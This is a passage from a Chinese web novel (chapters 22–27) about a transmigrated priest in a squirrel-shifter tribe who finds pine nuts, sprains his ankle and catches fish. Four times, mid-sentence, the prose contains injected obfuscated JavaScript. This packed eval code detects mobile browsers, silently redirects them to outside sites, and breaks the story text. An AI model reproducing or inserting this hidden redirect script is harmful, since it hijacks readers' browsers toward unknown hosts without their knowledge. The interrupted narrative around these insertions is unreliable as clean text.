兽人与亚兽人力量悬殊,坑大部分是莫淮山挖的。兽人挥汗如雨,不知疲倦地挥舞着锄头,整个人像水里捞出来的一样。 得在天黑前赶回部落,一刻不带歇的,花时安让莫淮山用锄头将陷阱边缘打磨光滑,自己则在灌木丛里钻进钻出,找藤蔓,捡枯枝落叶。 陷阱要有陷阱的样子,四周杂草灌木并未刻意清理,藤蔓与枯枝编织的“盖子”往坑上一放,再铺上厚厚一层落叶,相当完美的陷阱。 不是花时安吹牛,他们费劲制作的这个陷阱,洞察力敏锐的兽人过来都不一定能看出底下有个坑。 欣赏完杰作,又要开始收尾了。 坑里挖出来泥土堆在四周始终有些突兀,莫淮山一锄头一锄头地将泥土铲进背篓,背去别的地方倒掉。而花时安闲来无事,跑到附近捡枯枝落叶,打算再把陷阱周围再伪装一下。 砍竹子、编鱼笼、搬石头、放鱼笼、挖陷阱…… 真真正正地从早忙到晚,花时安腰杆都快直不起来了,最后在路边薅了把枯草,他捶了捶酸胀的腰,扶着矮树站起身。 泥土估计铲完了,兽人的呼喊声远远传了过来。 花时安扯着嗓子应了声“来了”,松开矮树往回走,而就在这时,先迈出去的右脚不知道踩到了什么东西,只听“咔嚓”一声,脚踝一拧,身体瞬间失去平衡,踉跄摔倒在地。 身下有杂草垫着,摔倒是没摔疼,可摔倒之前把脚脖子扭了,花时安疼的倒吸一口凉气,瘫在地上半天没爬起来。 不对啊,真的只是扭了脚?刚才好像听到咔嚓一声,不会骨折了吧?花时安慌得要命,连滚带爬坐起身,急忙看向自己的右脚。 好巧不巧,他一起身带动了周围灌木,害他摔倒的罪魁祸首“咚咚”地滚了过来。花时安下意识伸手接住,而当他看清那是个什么东西的时候,忽然觉得,这一跤挺值。 棕褐色果子呈峰塔状,表面如同炸开了花,长着一层层形似鱼鳞的鳞盾,摸着格外粗糙。被花时安踩扁的鳞盾缝隙中,颗颗饱满、粒粒莹润的松子露出冰山一角。 不是旁的野果,这是松鼠的最爱——松果。 23. 第 23 章 “祭司大人,祭司大人回来了!” 一声高呼击碎了所有紧张与压抑,众人紧绷的神经顿时放松下来,一片死寂的营地响起阵阵粗重而急促的呼吸声。 只是短短一瞬,围坐火堆旁的亚兽人、刚准备出去找人的兽人犹如潮水涌动,迎着声源快速奔向乌漆麻黑的草地。 开阔的草地毫无遮挡,尽管天色已晚,四周漆黑一片,却也依稀能看见远处一高一矮两个人影挨得很近,几乎贴在一起缓慢移动。 个子高的背着背篓,背后还竖着两根长棍,个子矮的似乎腿脚不便,走路一瘸一拐的,全靠旁边的高个子搀扶。 “是祭司大人,真的是祭司大人!他回来了。” 站在草地观望片刻,又是一声惊呼炸响,众人悬在嗓子眼的心总算是落了地。 “可算是回来了,吓死我了。天都黑透了还在外面,我差点以为……” “我也是,脸都给我吓凉了,今天怎么这么晚啊?” “你们注意看,祭司大人走路的姿势是不是有点奇怪?” “天啦,他不会是受伤了吧?” “祭司大人!” “祭司大人……” 落回肚子里的心瞬间又提起来了,一群人犹如万马奔腾,争先恐后地奔向花时安。 看到这一幕,花时安莫名心虚,赶忙抬胳膊撞了莫淮山一下,小声催促:“再走快些,没那么疼了。” 莫淮山轻轻“嗯”了一声,脚下步子却未加快半点。 “祭司大人。” 很快,木族长与一群人高马大的兽人率先跑到花时安面前,气儿都不带歇的,他俯身盯着花时安受伤的右脚,上来就是三连问:“祭司大人你这是怎么了?被野兽袭击了?伤到骨头没?” “你别紧张族长,我只是摔了一跤,脚扭了,没伤到骨头。”花时安摸了下鼻头,又摆了摆手,一秒钟八百个动作。 木族长没有因这话而放下心来,看着他红肿的脚踝,急得抓耳挠腮,“摔跤怎么会摔到脚?这都肿起来了,疼不疼啊,真没伤到骨头?” 不等花时安回答,红勇扫了眼搭在莫淮山胳膊上那只手,似不经意地咳嗽了一声,转头对身后匆匆赶到的红映兰道:“祭司大人的脚可能不方便使劲,你去扶着他。” 亚兽有别,亚兽人不能与除伴侣以外的兽人这般亲近。 红映兰一听就明白了,匆匆上前几步,朝花时安伸出手,“祭司大人,我扶着你吧。” 花时安真的很想说:有没有一种可能,兽人和亚兽人之前,还有男女之别,让一个女孩子扶他叫什么事儿! 似乎看出了他的迟疑,岩知乐趁机挤出人群,麻溜地凑到花时安身旁,毛遂自荐:“祭司大人,我我我,我来扶你。” 都是男的,都是亚兽人,非常完美的拐杖。刚好岩知乐还比他矮一些,花时安果断从莫淮山胳膊里抽出手,攀上岩知乐的肩膀。 “莫淮山,你到底想干什么?!” 换了个拐杖刚刚站稳,一声怒吼突然在耳边炸响。 花时安猛地一抬头,见红勇在莫淮山胸口上重重推了一把。劳作一天的兽人毫无防备,踉跄后退两步,好不容易稳住身形,又被红勇指着鼻子,劈头盖脸一顿斥责: “害了狩猎队不够,还想害祭司大人?你抬头看看现在什么时候了,天都黑透了!作为一个兽人你不知道天黑意味着危险吗?不知道早点带祭司大人回来?” 看热闹不嫌事大,跟红勇穿一条裤子的兽人纷纷附和: “不知道天黑前回来就算了,还害得祭司大人受伤!” “真倒霉啊,谁跟他走近谁倒霉,祭司大人都不例外。” “还是让他待在树洞吧,别祸害人了。” “行了!” 晚归的那点愧疚荡然无存,花时安眸光一沉,冷脸扫过阴阳怪气地族人,“我说了,脚扭伤是我自己不小心,和莫淮山无关。别说什么是他害了我,我是个快成年的亚兽人了,是是非非自己会判断。” “脚扭伤走不快,所以回来晚了,这里我向大家道个歉,对不起,让你们担心了。”该道歉的时候道歉,花时安略微颔首,态度诚恳。 但道完歉他立马变脸,横眉竖眼地看着红勇,“要指责也要先了解情况,淮山今天跟我跑了一天,干了一天的活儿,都没怎么好好休息,不该被这样责怪。” “哦对了,我们今天还找到了食物。”花时安朝红勇摊开手,掌心赫然是他攥了一路的松果,“里面的坚果叫松子,味道不比板栗差,具体怎么吃问淮山吧,我累了。” 一股脑将所有话说完,丝毫不给其他人开口的机会,花时安扭头对岩知乐说道:“我一个人不好走路,麻烦你送我回树洞。” 岩知乐偷偷瞄了眼族长,乖乖点头,“好的祭司大人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409142|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有人阻拦,岩知乐搀着花时安渐渐走远。 两人的身影消失在黑暗中,埋头捣鼓的红勇也从松果鳞盾中掰出了一粒饱满的松子。强大的兽人不会低头,明明好奇得很,却伸手将松子递给了木族长。 浅褐色,小指甲盖一般大的果实。 木族长伸手接过,放在鼻子底下闻了闻,没闻到什么特别的香味。随后他又用手指甲用力抠,试图将果壳掰开,可无论他怎么使劲,松子坚硬的外壳始终纹丝不动。 实在没办法,木族长干巴巴笑了声,在众人期待的眼神中,抬头看向莫淮山,“淮山啊,这个叫松子的果子你找到的?哪找的?果子这么硬,到底咋吃?” “不是我找的,是祭司大人在河对面森林里找到的。” 老实巴交的兽人不居功,不记仇,如实将松子的食用方法告诉木族长:“祭司大人说,松子外壳坚硬,生吃要用石头敲碎外壳,吃里面的果仁。也可以和板栗一样,弄熟了吃,壳会好剥一点。” 说着说着忽然激动起来了,莫淮山看着木族长,很认真地建议:“族长你可以试一下,这个果子的味道很独特,不知道为什么,我特别喜欢这个松子的味道,比板栗还喜欢。” “嘶,比板栗还喜欢?” “祭司大人刚刚也这么说的,真有这么好吃?” “族长你试试吧!” 人群中传来窃窃私语,木族长却拿着松子一动不动。 认真端详片刻,他垂下手臂,颇为无奈地叹了口气,“好吃又能怎么样,拳头大的果子就这么点能吃的,还要剥一层壳,咱们得摘多少才够吃一顿。” “不止啊族长,这里面还有。”红勇拿着松果用力拍打,不多时,他掌心又多出五六颗松子。 木族长面露欣喜,还没来得及开口,莫淮山双手弯曲并在一起,又补充道:“远不止,祭司大人说了,一个大松果能弄出满满一捧松子。” “不用担心不够吃,族长,其实我们回来晚了不光是因为祭司大人的脚受伤,傍晚发现松果后,祭司大人又带着我在森林里找了一圈,我们、我们……” 木族长:“关键时候别磕巴呀!你们怎么了?说啊!” 莫淮山扬起嘴角一笑,声音骤然拔高:“我们找到了好大好大一片松子林!哦差点忘了,背篓里还有好些松果,我们顺道捡的。” “这种事怎么不早说呢!快,找石头敲松子!” 24. 第 24 章 “咚咚,咚咚咚——” 迷迷糊糊刚要睡着,洞口竹门忽然被人敲响。 脚踝一动就疼,花时安实在不想起来开门,于是撑着棕片坐起身,后背倚靠着洞壁,轻轻应了一声:“没锁,开门直接进来吧。” “嘎吱”一声响,竹门被人打开了,一股带着甜香的热气飘进树洞。木族长左手板栗,右手竹筒,腋下似乎还夹着什么东西,手忙脚乱地钻进树洞。 “哎哟,这东西多的,一趟差点拿不完。” 木族长猫着腰钻进树洞,气喘吁吁地坐在洞口,跟哆啦A梦似的,将带过来的东西一件件放在花时安身旁,“刚烤好的板栗,趁热吃,今晚没煮蘑菇,只有野菜汤,竹筒是新的,没人用过。” “还有这个,”木族长神秘兮兮地掏出一条棕裙,摊平举在花时安眼前,“巨明让我拿给你的,说之前织得有点拿不出手,这是他织的最好的一条,让你别嫌弃,将就穿。” 冒着热气的食物和心心念念的棕裙放在身旁,花时安却无心细看,因为半敞开的竹门旁,三双水汪汪的眼睛泛着光,透过夜色仔细一看,三只毛茸茸的松鼠探头探脑。 啊,差点忘了,兽人部落…… 族人并非纯粹的人类,他们还有另一种形态——松鼠。 身体不争气,从未近距离接触过小动物,看着探头探脑的小松鼠,花时安手莫名有点痒。他很好奇,那蓬松柔软,看着像棉花糖一样的绒毛,摸着是什么感觉呢? 迟迟等不到回应,木族长循着花时安的视线看了一眼,脸色一沉,“去去去,你们三个跟着来做什么?这是亚兽人的树洞,不是你们能随便进的地方。” “没事。”花时安下意识开口,说完又有些后悔。为了不显得那么急切,他放缓了语调,“兽形没关系,让他们进来吧。” 木族长犹豫了一下,转头看向洞口张望的小松鼠,“要么进来要么走,别在那偷偷摸摸,跟做贼似的。” 话音刚落,三只小松鼠井然有序地钻进树洞。 领头的是一只红腹松鼠,有着一身富有光泽的深褐色绒毛,和名字一样,他胸口、肚皮及四肢内侧的绒毛呈棕红色,耳朵小而圆,尾巴比身体还大,翘在身后活像条鸡毛掸子。 个头比花时安想象的还要小,听木族长的话这应该是个兽人,可他的体型……相当于一只幼猫,一只手就能握住。 灰不溜秋,形似老鼠的岩松鼠紧随其后,花时安没来得及细看,一只黑的五彩斑斓,像小狗一样的巨松鼠拖着细长的尾巴,大摇大摆地走了进来。 一下子来这么多客人,树洞却丝毫不显拥挤,因为客人的个头实在太小了,体型最大的巨松鼠也比不上一只成年肥猫。 瞧他一直盯着松鼠看,木族长以为花时安认不出,捏着下巴嘿嘿笑了一声:“祭司大人能认出谁是谁吗?平常很少变回兽形,应该还没见过吧?” 这话一出,三只松鼠非常配合地站在木族长身旁,等待花时安辨认。 确实没见过,但花时安隐约能猜到,再度将三只小松鼠打量一遍,他轻声念出三个名字:“红勇,岩、岩知乐?另一个应该是巨启风?” 三个猜对两个,被猜错的岩松鼠不乐意了,前肢悬空像人一样站立起来,小嘴巴一张,“唧唧”叫了两声。 木族长哈哈一笑,“不是岩知乐,他也是兽人,还是你给取的名字呢,叫岩秋雨。” 没在这个事情上面纠结太久,花时安点点头表示知道了,旋即道出心中疑问:“他们这是怎么回事,今天怎么想着变回兽形?还几个人一块变。” “啪”,木族长一巴掌拍在额头上,哭笑不得:“祭司大人,你们带回来那松子不对劲啊!他们尝过之后就说心里有股冲动按捺不住,特别兴奋,一个两个都想变回兽形。” “变回兽形也就算了,那些年纪小的兽人、亚兽人,简直疯了一样,彻底失去理智变成了兽。饭也不吃了,觉也不睡了,好些人这会儿还在树上爬呢!” 花时安眼皮子一跳,蒙圈了。 不能够吧?松子难道不是松鼠最喜欢的食物之一吗?怎么会吃了失去理智,难不成松子变异了? 害怕好心办坏事,花时安明显慌了,撑着洞壁试图站起身,急急忙忙道:“这么严重?不行不行,我得出去看看,必须把那些害人的松子丢掉。” “哎别乱动祭司大人,小心你的脚!” 慌的人从花时安变成了木族长,担心花时安脚踝伤势加重,他赶忙上前搀扶,一不小心还被洞顶磕到了头。 可花时安油盐不进,借着他的胳膊当拐杖,非要往外走。木族长惊出一身冷汗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409143|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙解释安抚:“说笑呢说笑,没那么严重,祭司大人你好好养伤,千万别乱动。” “啊,原来在逗我啊。” 嘴上这样说,花时安脸上却一点儿也看不出惊讶。他低垂的眸子里闪过一丝微不可察的遗憾,不再闹着要出去,重新坐在地上,背靠着洞壁。 一群松鼠在树上乱窜,在草地上奔跑打滚…… 好可惜,没能看到。 当他被吓到了,木族长不敢再开玩笑,拍了拍花时安的肩膀,道明前因后果:“别担心祭司大人,刚刚真是说笑。你们带回来的松子可是好东西,不仅能吃,还特别好吃!族人都非常喜欢。” 好似在附和木族长的话,角落三只小松鼠齐齐点头。 “不过,”木族长继续道:“他们变回兽形确实是因为松子。我自己也尝过,吃下去有种奇妙的感觉,特别兴奋,特别激动,就像、就像……” 就像猫吸了猫薄荷一样,花时安在心里替木族长补充上。 松鼠拒绝不了松子,换个世界也不例外,只是吃了松子跟吸了猫薄荷似的,出现“返祖”现象,花时安属实没想到。 半天没“像”出来,木族长不再纠结,难掩喜悦地咧着嘴笑,“反正我能感觉到,松子是现在最适合我们的食物。得亏我老了,要是再年轻些,这会儿估计我也在树上爬。” “不打扰你了祭司大人,板栗都快凉了,你吃完早点休息,好好养伤。刚好板栗也摘完了,我们明个儿一早捡松果去,淮山说好大好大一片松子林,得赶紧多捡点回来。” 花时安点点头,顺便提醒了一句:“砍点竹子带上,掉在地上松果不多,大多都挂在树上。那松树又高又直,不好攀爬,试着用竹子敲吧。” 说完花时安就后悔了,话音刚落,木族长与三只松鼠诧异地看向他,那眼神仿佛在说:不好攀爬?你要不再看看我们的兽形? 好在天色已晚,木族长并未多说,朝他挥了挥手便领着小松鼠离开树洞。 竹门一关,树洞顿时安静下来。 肚子饿的咕咕叫,花时安却没急着吃东西,他竖着耳朵留意树洞外,直到脚步声由近至远,彻底听不见,他眼睛一闭,树洞里的人瞬间消失不见,剩下一只穿着草裙的棕毛花栗鼠。 摸不了别的鼠,勉为其难摸摸自己吧。 25. 第 25 章 自己摸自己始终差点意思,不是花栗鼠的毛不够软,也不是心理因素,纯粹是——变回兽形手也变成了爪子,触觉和人类的手掌完全不一样,摸着没那种感觉。 胡萝卜吊在眼前却吃不到,弄得花时安觉都没睡好。第二天他天还没亮就爬起来了,身残志坚,拖着受伤的右脚一瘸一拐地钻出树洞。 天灰蒙蒙亮,薄雾笼罩的营地火光闪烁,人们来去匆匆,用枯枝点燃多个火堆,拿着竹筒去河边打水,摘树叶包板栗……为即将到来的清晨忙碌着。 远远看着这一幕,花时安的心彻底凉透了。 一只松鼠都没有,错过终究是错过了。 一夜过去,扭伤的脚踝更肿了些,不便长时间站立,花时安望着营地遗憾摇摇头,转身走向树洞。 “时安!” 刚打开竹门,一声轻呼从身后传来。花时安回头一看,高大的兽人手捧树叶,带着一身潮湿的水汽向他跑来。 夹杂着苦味的青草味被风吹了过来,兽人从河边匆匆跑来。他急急忙忙摊开手中树叶,将一团墨绿色草泥递到花时安面前,脸上带着真挚而憨厚的笑,“时安,这个给你。” 草泥碾得非常碎,花时安伸手接过,看了许久也没看出是什么,歪着脑袋将目光转向莫淮山,“给我的?这是什么?” “那个呀,你上次说的那个,叫蒲、蒲……” “蒲公英?” “对!”莫淮山飞快地点点头,似乎有些紧张,不好意思地笑了笑,“上次你说蒲公英可以治病治伤,我就去采了点,用石头碾成了草泥。我、我用水洗干净了时安,如果不能吃,你就把它敷在脚上,兴许能好得快点。” 兽人声音越说越小,脑袋越垂越低,耳朵尖儿渐渐红了。 沉甸甸的蒲公英泥握在手中,花时安心头一暖,嘴角微微扬起,“这对我的伤很有用,谢谢你淮山,一大早跑去森林找蒲公英,有心了。” “没什么,我、我顺便去采的。”莫淮山抬手挠挠头,飘忽的视线不敢对上花时安的眼睛,像是快着火了,脖子涨得通红。 大清早“顺便”去森林? 花时安一点儿也不信,似笑非笑地看着他。 兽人愈发慌乱,忙地摆摆手,“那我、我先走了时安,一会儿给你送板栗过来。” “欸!”花时安叫住他,“跑什么,我话还没说完。” 知道花时安受伤腿脚不便,刚准备逃跑的兽人又默默走了回来,耷拉着脑袋乖乖站在花时安面前。 扭伤脚不能出门,花时安把事情逐一交代给莫淮山: “你今天跟着采集队捡松果对吧?一会儿路过河边记得去看看鱼笼,有鱼就收起来,说我们一块放的,没鱼,没鱼你就说祭司大人放的,你也不知道干什么的。” “昨天挖的陷阱也要记得去看看,一晚上估计没东西,但你要让族人知道位置,告诉他们不要往那边走,以免踩到陷阱掉下去。” 听着花时安嘱咐,莫淮山喉咙莫名堵得慌,他呆呆看着花时安,鼻尖微微有点酸,心里忽然涌起一股说不清的滋味。 想问为什么关心他,为什么对他好,照顾他…… 可嘴巴张张合合,莫淮山最终一个字都没有说出来。 一声不吭,眼眶突然红了,花时安茫然地眨眨眼,放轻了声音询问:“怎么啦?昨天晚上我走得早,他们为难你了?” “没,没有为难,我先走了时安,你好好养伤。” 像有人追他似的,兽人说完转身就跑,几乎落荒而逃。 花时安无奈地摇摇头,“注意安全!” 天色渐明,吃过早饭后,狩猎队与采集队背着背篓陆续出发。人一走,熙熙攘攘的部落逐渐安静下来,周遭只剩虫鸣,和竹篾碰撞的声响。 没电视又没手机,待在树洞里真的很无聊,一闲下来花时安就总是想到曾经卧病在床,靠纪录片度日的时光,整个人都不好了。 闲不住一点儿,用树洞里剩余的棕绳又编了双棕鞋,花时安实在坐不住了,一瘸一拐地摸出树洞。 而似乎早知道他不会老老实实待在树洞,人形拐杖岩知乐被留在了部落,出门便迎了上来。 被岩知乐搀着在营地里转了一圈,花时安忽然就知道该做点什么了。背篓和簸箕编得差不多了,竹门正在编织中,他心心念念的竹床竹椅也该提上日程了。 至于伤……脚不能动手能动,再不济嘴巴还能动。 有了事情可以做,时间一晃便过去了,人们手中竹具刚刚有了个雏形,转眼已是正午。 暖烘烘的太阳晒的人昏昏欲睡,花时安将最后一根竹片嵌入破开口子的竹竿中,一张能容纳一人,用榫卯结构制作的“床板”就做好了。 接下来只需用竹竿做个床架,再用同样的方法将床板、床架连接在一起,一张结实牢固的单人竹床便大功告成。 有点累了,花时安捶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15409144|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了捶酸胀的胳膊,刚想歇会儿,喝口水,但就在这时,凌乱的脚步声夹着嬉笑声从不远处传来,抬头一看,采集队回来了十多个人。 摘不完,根本摘不完,只是一个上午,带出去的背篓全部装满了。为了腾出背篓继续装松果,他们只能先将部分松果背回部落。 收获的喜悦洋溢在每个人的脸上,歇都没空歇,他们气喘吁吁地将松果倒在空地,顶多抹把汗,和花时安打声招呼,又背着空背篓匆匆离开。 独特的松脂香在空气中弥漫开,绿油油的松果个大饱满,堪比成年兽人的拳头,很快便在空地上堆起一座高高的小山。 前线给力,后勤也不能掉链子。花时安也顾不上休息了,果断将编到一半的竹床放一旁,带着留守部落的族人处理松果。 带回来的松果有地上捡的,树上摘的,大多都带点绿。松果虽已进入成熟期,但坚硬的鳞盾依旧将松子紧紧包裹着,剥起来十分费劲。 为此,花时安带着族人将开裂的,稍微好处理一点的松果逐个挑选出来。直至空地松果山一分为二,他又将为数不多的族人分成了两队。 岩知乐带年轻人去溪边捡鹅卵石,那堆开裂的松果就交给他们了,待会儿捡了石头回来直接开敲,从顶部将松果坚硬的鳞盾敲打松散,便可慢慢把松子抖落出来。 而另一堆一丝裂缝都没有,特别难处理的松果,花时安带着几个老年人……从生火开始。 没有裂缝的松果如同石头,硬得要命,暴力敲打只会把里面的松子一块敲成渣。松果来之不易,为了能多吃一点松子,花时安决定用最原始朴实的方法,火烤松塔。 大块干柴先烧,烧到没有明火,陆续将松果丢进火堆。用枯木燃尽后残留的炭火慢慢炙烤,中途反复翻面,以防烤焦。 烤至表面黑湖,塔油烤干,鳞盾微微张开即可刨出。 这个过程非常磨人,松果数量多,他们一次性生了好几个火堆一起烤,因为这个也浪费了不少干柴。 好在烤熟的松果处理起来非常省力,石头一敲,轻轻松松便可抖出松子,比那些自个儿开裂的松果还要好处理。 而且这样烤出来的松子可以直接吃,浓郁的松香夹杂着炭火香,原滋原味,简直香掉牙。可惜花时安刚尝了个味儿,采集队再次归来,又双叒背回来一堆松果。 大白天的烤着火,身上汗水就没干过。 生活不易,花时安叹气:哎,为了口吃啊! 26. 第 26 章 松果“噼里啪啦”地烤了一个下午,夕阳西下,营地上空依旧烟雾缭绕,地面火光若隐若现,空气中浓郁的松香味与热浪一同翻滚,久久不散。 从下午到傍晚,火一直在烧,营地的温度都要比周围高一大截。花时安身上的汗就没干过,感觉再烤上一会儿,他也可以上桌了,烤熟被端上桌。 累归累,成就感也是满满的。 火堆四周石头上,二十个多精编簸箕并排摆放,颗颗饱满,粒粒脆香的松子平铺在里面,每一个簸箕都铺着厚厚一层。 松子有两种,炭火烤出来的颜色偏暗,呈棕褐色,油亮油亮的,香味更加浓郁;生松子颜色偏淡,呈浅棕色,有点磨砂的质感,闻着也只有一点微弱的松子香。 与花生、板栗一样,松子也可以生吃,一丝清甜,一点涩,少了些油脂味,味道虽不如熟松子,但同样美味可口。 扯远了。 现在最重要的不是松子怎么好吃,而是怎么方便吃。 烤松子也好,生松子也罢,未经过加工的松子严丝合缝,硬如石头,一不小心牙齿都能崩掉,吃起来非常不方便。 想要做成现代社会那种方便即食的开口松子,还需炒制。 花时安倒也想顺便把松子炒了,可惜两口大石锅不在部落,而且新鲜松子多少有点水分,还需放在太阳底下浅浅晾晒个几天。 罢了,日子慢慢过,不急于一时。 夕阳的余晖散尽,天空逐渐暗了下来,好似一张厚重而浓稠的幕布,将整座森林紧紧包裹。 煮盐队、狩猎队、采集队陆续归来,带回晶莹剔透的盐晶,鲜嫩清爽的野菜,以及那一背篓又一背篓,磨人的松果。 森林部落来回跑,采集队今天已经回来了无数趟。早该知道结果的,但花时安仍抱有一丝希望,坐在火堆旁四下张望,在人群寻找那个高高大大的身影。 红映兰、红勇、木族长……熟悉的面孔先后走进营地,却迟迟不见莫淮山的影子。花时安刚想抓个人问一下,不远处黑漆漆的草地,湿漉漉的兽人抱着鱼笼,一路狂奔冲回营地。 没鱼就算了,怎么把鱼笼带回来了?花时安皱了下眉。 一身湿透,还宝贝似的抱着个鱼笼,横冲直撞的兽人格外引人注目。先他一步归来的兽人像是找到了乐子,收拾松果的同时还不忘打趣调侃: “哟,还挺爱干净的,先不先去河里洗个澡。” “你把这个带回来干嘛?不是说放在河里有用吗?” “里面装的啥好东西,抱那么紧。” “喂,跟你说话呢傻大个!” 搁平常,老好人莫淮山早停下来与族人解释了,但这会儿他顾不上。和坐在火堆旁边的花时安对上视线,他呼吸一滞,抱着鱼笼匆匆跑上前。 “时安,有、有……呼呼。” 一路狂奔,兽人着急忙慌蹲在身前,累得气喘吁吁。 花时安拿起地上装着水的竹筒,极其自然地递过去,轻笑一声,“急什么,我又不会跑,先喝点水,把气喘匀了慢慢说。” 大概是真渴了,莫淮山接过竹筒,仰头一饮而尽。 喝得急,溢出来的水沿着下巴,滑过轻滚的喉结。兽人胡乱在脖子上抹了一把,看着已经空了的竹筒,有些不好意思地笑了笑,“喝、喝完了,时安,一会儿我去给你盛。” 花时安轻轻“嗯”了一声,正要问他为什么把鱼笼带回来,忽然间,兽人怀中还在滴水的鱼笼猛地抖动了一下。 几滴水溅到脸上,懒懒耷拉着眼皮的花时安突然精神了,噌地一下挺直后背,屏住呼吸,瞪大眼睛盯着鱼笼,“里面有东西?抓到鱼了?” “哦对,河里真的有东西!” 兽人终于记起了正事,忙地把鱼笼掉了个头,将开口那一侧对着花时安,难掩兴奋道:“时安你看,这是不是你说的鱼?” 河水中浸泡了一天一夜,鱼笼里缠着不少枯草与泥沙,花时安俯身凑近,伸手拨了一下,一股极为浓烈的鱼腥味顿时飘了出来。 火光将鱼笼点亮,四只扁头扁身,比兽人巴掌还大的青灰色鱼映入眼帘。似乎钻进鱼笼不久,鱼还没有死透,时不时蹦跶两下,力气还不小。 花时安一眼就认出来了,这是鲫鱼,适合红烧或炖汤。 拨开旁边枯草,十多条个头小小的,没有鳞片的黄绿色小鱼闯入视线。花时安愣了下,喉咙微动,这是——肉嫩刺少,味道鲜美的黄颡鱼。 收获不算多,这些鱼炖了一人也就能分到一口汤,但这可是第一次!第一次尝试就抓到十多条鱼,天天吃鱼的日子还会远吗? 花时安乐坏了,比抓到绿鬣蜥更高兴,毕竟作为食物,鱼正常多了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15409145|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收获的喜悦没有让人完全失去理智,很快,花时安发现了不对劲。他看着鱼鳃轻轻翕动的黄颡鱼,时不时蹦跶两下的鲫鱼,抬眸看向一直盯着自己的兽人。 “淮山,这确实就是我说的鱼,但这鱼……该不会是为了哄我高兴,刚才特意去河里抓的吧?” “啊?”兽人瞪大眼睛,一脸诧异:“为什么这样说?” 花时安指了下笼中鱼,“有点太新鲜了,还活蹦乱跳的。你不是早上去收的鱼笼吗,按理说放到现在,离开水的鱼早就该死透了才对。” 采集队白天回来了好几趟,莫淮山一次也没回来,花时安以为压根没收获呢,结果这人晚又带着鱼回来了,还是新鲜鱼。 就,很奇怪,莫淮山也像是能干出这种事情的人。 听到花时安的补充,神经紧绷的兽人渐渐放松,他抱着鱼笼嘿嘿笑了两声,认真解释:“没,没这回事,我今天一直在弄松果,哪有空去河里抓鱼呀。是这样的时安,我早上去看的时候,鱼笼已经歪了,大的这一头朝下,里面什么都没有。” “开始我以为是被水冲歪的,后面走上去才发现,昨天你敲碎的螃、螃蟹也没有了,鱼笼周围还沾着好多银白色的东西,闻着味道怪怪的。” 说着,莫淮山从鱼笼边缘扣下一片鲫鱼的鱼鳞,拿给花时安看,“就是这个。我、我不知道叫什么。” 花时安,“鳞片,也叫鱼鳞。” 莫淮山点点头,继续道:“当时鱼笼口沾了好多鳞片,我就在想是不是有东西钻进去,把鱼笼给弄歪的。然后我就和昨天一样,重新用石头把鱼笼压好,又找了些螃蟹放进去。” “傍晚回来路过河边,我没有和族人一块回来,顺便去看了一下鱼笼,结果、结果真的有东西,两个鱼笼都有东西!” 怪不得,听兽人这么一说,花时安大概知道怎么回事了。 河流里的鱼比想象中更多,放置一天一夜的鱼笼没有被水流冲走,反倒被误入鱼笼的鱼给弄歪了。且鱼的个头应该还不小,不然也没力气从鱼笼中挣脱出去。 好消息,天大的好消息啊!花时安心情大好,无法掩饰自己的兴奋,忙地撑着地面站起身,笑吟吟地对莫淮山说道:“走,带上砍刀,咱们到河边杀鱼去。” “你的脚……” “不碍事,我慢慢挪就是了。” 27. 第 27 章 刮鳞去腮,剖开鱼腹去除内脏,用刀背刮去腹内黑膜,之后鱼头鱼尾各划一刀,找到细长细长的白色鱼腥线,用巧劲将其抽出。 没有油,没有不粘锅,煎鱼就别想了。水烧开后将清洗干净的鲫鱼、黄颡鱼一同倒入石锅中,放点姜片,小火慢慢炖煮。 鲫鱼炖汤有奇效,小火将鱼肉煮软、煮熟,石锅里的清水慢慢开始浑浊。打个盹儿的功夫,好似熬煮已久的大骨汤,一大锅奶白色鱼汤十里飘香。 独特的清香随着炊烟在营地弥漫开,四周敲松果的族人不约而同地停下了动作,耸着鼻子东张西望,寻找香味的源头。 